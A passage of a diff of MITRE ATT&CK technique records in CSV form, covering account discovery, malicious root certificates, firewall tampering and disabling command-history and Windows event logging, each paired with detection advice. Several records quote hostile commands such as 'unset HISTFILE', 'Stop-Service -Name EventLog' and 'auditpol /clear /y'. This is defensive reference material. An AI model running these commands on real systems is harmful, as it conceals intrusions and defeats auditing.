aid in follow-on behavior. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",True,['User'],"['Windows', 'Office 365', 'Google Workspace']",1.1,,,,,,, +attack-pattern,attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:08:26.480Z,2021-10-13T14:05:14.784Z,Domain Account,"Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior. + +Commands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1087/002', 'external_id': 'T1087.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/575.html', 'external_id': 'CAPEC-575'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Commands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1087/002', external_id='T1087.002'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/575.html', external_id='CAPEC-575')]",attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-03-26 13:42:34.402000+00:00,Domain Account,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-21 21:07:55.393000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior. +",True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:07:55.393Z,2021-07-28T18:05:24.567Z,Local Account,"Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior. -Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1087/001', external_id='T1087.001'), ExternalReference(source_name='Elastic - Koadiac Detection with EQL', description='Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', url='https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql')]",attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-04-13 21:39:08.728000+00:00,Local Account,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Daniel Stepanic, Elastic']","['Process: Process Creation', 'Command: Command Execution', 'File: File Access']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Commands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1087/001', 'external_id': 'T1087.001'}, {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Daniel Stepanic, Elastic']","['Process: Process Creation', 'Command: Command Execution', 'File: File Access']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.1 -2020-02-21 21:05:32.844000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. +Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",True,['User'],"['Linux', 'macOS', 'Windows']",1.2,,,,,,, +attack-pattern,attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:05:32.844Z,2021-08-25T19:39:07.001Z,Install Root Certificate,"Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. -Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental) +Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental) -Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish) +Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish) -Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017) +Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017) -In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1553/004', external_id='T1553.004'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/479.html', external_id='CAPEC-479'), ExternalReference(source_name='Wikipedia Root Certificate', description='Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.', url='https://en.wikipedia.org/wiki/Root_certificate'), ExternalReference(source_name='Operation Emmental', description='Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.', url='http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf'), ExternalReference(source_name='Kaspersky Superfish', description='Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.', url='https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/'), ExternalReference(source_name='SpectorOps Code Signing Dec 2017', description='Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.', url='https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec'), ExternalReference(source_name='objective-see ay mami 2018', description='Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.', url='https://objective-see.com/blog/blog_0x26.html'), ExternalReference(source_name='Microsoft Sigcheck May 2017', description='Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.', url='https://docs.microsoft.com/sysinternals/downloads/sigcheck'), ExternalReference(source_name='Tripwire AppUNBlocker', description='Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.', url='https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/')]",attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-19 20:31:11.389000+00:00,Install Root Certificate,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Matt Graeber, @mattifestation, SpecterOps', 'Red Canary', 'Travis Smith, Tripwire', 'Itzik Kotler, SafeBreach']","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution']",['Digital Certificate Validation'],,,,"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017) +In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553/004', 'external_id': 'T1553.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/479.html', 'external_id': 'CAPEC-479'}, {'source_name': 'Wikipedia Root Certificate', 'description': 'Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.', 'url': 'https://en.wikipedia.org/wiki/Root_certificate'}, {'source_name': 'Operation Emmental', 'description': 'Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.', 'url': 'http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf'}, {'source_name': 'Kaspersky Superfish', 'description': 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.', 'url': 'https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/'}, {'source_name': 'SpectorOps Code Signing Dec 2017', 'description': 'Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.', 'url': 'https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec'}, {'source_name': 'objective-see ay mami 2018', 'description': 'Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.', 'url': 'https://objective-see.com/blog/blog_0x26.html'}, {'source_name': 'Microsoft Sigcheck May 2017', 'description': 'Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.', 'url': 'https://docs.microsoft.com/sysinternals/downloads/sigcheck'}, {'source_name': 'Tripwire AppUNBlocker', 'description': 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.', 'url': 'https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matt Graeber, @mattifestation, SpecterOps', 'Red Canary', 'Travis Smith, Tripwire', 'Itzik Kotler, SafeBreach']","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution']",['Digital Certificate Validation'],"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017) -Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker) +Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker) * 18F7C1FCC3090203FD5BAA2F861A754976C8DD25 * 245C97DF7514E7CF2DF8BE72AE957B9E04741E85 @@ -1227,128 +1397,142 @@ Installed root certificates are located in the Registry under HKLM\SOFTWAR * 8F43288AD272F3103B6FB1428485EA3014C0BCFE * A43489159A520F0D93D032CCAF37E7FE20A8B419 * BE36A4562FB2EE05DBB3D32323ADF445084ED656 -* CDD4EEAE6000AC7F40C3802C171E30148030C072",,,,,True,,,"['Administrator', 'User']","['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-21 21:00:48.814000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel. +* CDD4EEAE6000AC7F40C3802C171E30148030C072",True,"['Administrator', 'User']","['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:00:48.814Z,2020-03-29T22:18:11.166Z,Disable or Modify System Firewall,"Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel. -Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1562/004', external_id='T1562.004')]",attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 22:18:11.166000+00:00,Disable or Modify System Firewall,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification']",['Firewall'],,,,Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.,,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-21 20:56:06.498000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. +Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/004', 'external_id': 'T1562.004'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification']",['Firewall'],Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.,True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T20:56:06.498Z,2021-04-24T13:59:12.787Z,Impair Command History Logging,"Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. On Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to ""ignorespace"". HISTCONTROL can also be set to ignore duplicate commands by setting it to ""ignoredups"". In some Linux systems, this is set by default to ""ignoreboth"" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. -On Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1562/003', external_id='T1562.003'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/13.html', external_id='CAPEC-13'), ExternalReference(source_name='Microsoft PowerShell Command History', description='Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.', url='https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7'), ExternalReference(source_name='Sophos PowerShell command audit', description='jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.', url='https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit'), ExternalReference(source_name='Sophos PowerShell Command History Forensics', description='Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.', url='https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics')]",attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-24 13:59:12.787000+00:00,Impair Command History Logging,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Vikas Singh, Sophos', 'Emile Kenning, Sophos']","['Sensor Health: Host Status', 'Command: Command Execution']","['Host forensic analysis', 'Log analysis']",,,,"Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious. +On Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/003', 'external_id': 'T1562.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/13.html', 'external_id': 'CAPEC-13'}, {'source_name': 'Microsoft PowerShell Command History', 'description': 'Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7'}, {'source_name': 'Sophos PowerShell command audit', 'description': 'jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.', 'url': 'https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit'}, {'source_name': 'Sophos PowerShell Command History Forensics', 'description': 'Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.', 'url': 'https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Vikas Singh, Sophos', 'Emile Kenning, Sophos']","['Sensor Health: Host Status', 'Command: Command Execution']","['Host forensic analysis', 'Log analysis']","Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious. + +Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. ",True,['User'],"['Linux', 'macOS', 'Windows']",2.0,,,,,,, +attack-pattern,attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T20:46:36.688Z,2021-10-19T13:37:30.534Z,Disable Windows Event Logging,"Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections. + +The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\Local Policies\Audit Policy for basic audit policy settings or Security Settings\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol) + +Adversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco) -Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. ",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,2.0 -2020-02-21 20:46:36.688000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections. +By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/002', 'external_id': 'T1562.002'}, {'source_name': 'Windows Log Events', 'description': 'Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.', 'url': 'https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/'}, {'source_name': 'EventLog_Core_Technologies', 'description': 'Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.', 'url': 'https://www.coretechnologies.com/blog/windows-services/eventlog/'}, {'source_name': 'Audit_Policy_Microsoft', 'description': 'Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy'}, {'source_name': 'Advanced_sec_audit_policy_settings', 'description': 'Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings'}, {'source_name': 'auditpol', 'description': 'Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol'}, {'source_name': 'Disable_Win_Event_Logging', 'description': ' dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.', 'url': 'https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging'}, {'source_name': 'auditpol.exe_STRONTIC', 'description': 'STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.', 'url': 'https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html'}, {'source_name': 'T1562.002_redcanaryco', 'description': 'redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.', 'url': 'https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md'}, {'source_name': 'def_ev_win_event_logging', 'description': 'Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.', 'url': 'https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/'}, {'source_name': 'evt_log_tampering', 'description': 'svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.', 'url': 'https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team']","['Process: Process Creation', 'Script: Script Execution', 'Windows Registry: Windows Registry Key Creation', 'Application Log: Application Log Content', 'Sensor Health: Host Status', 'Command: Command Execution']",['Log analysis'],"Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) -Adversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1562/002', external_id='T1562.002'), ExternalReference(source_name='Windows Log Events', description='Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.', 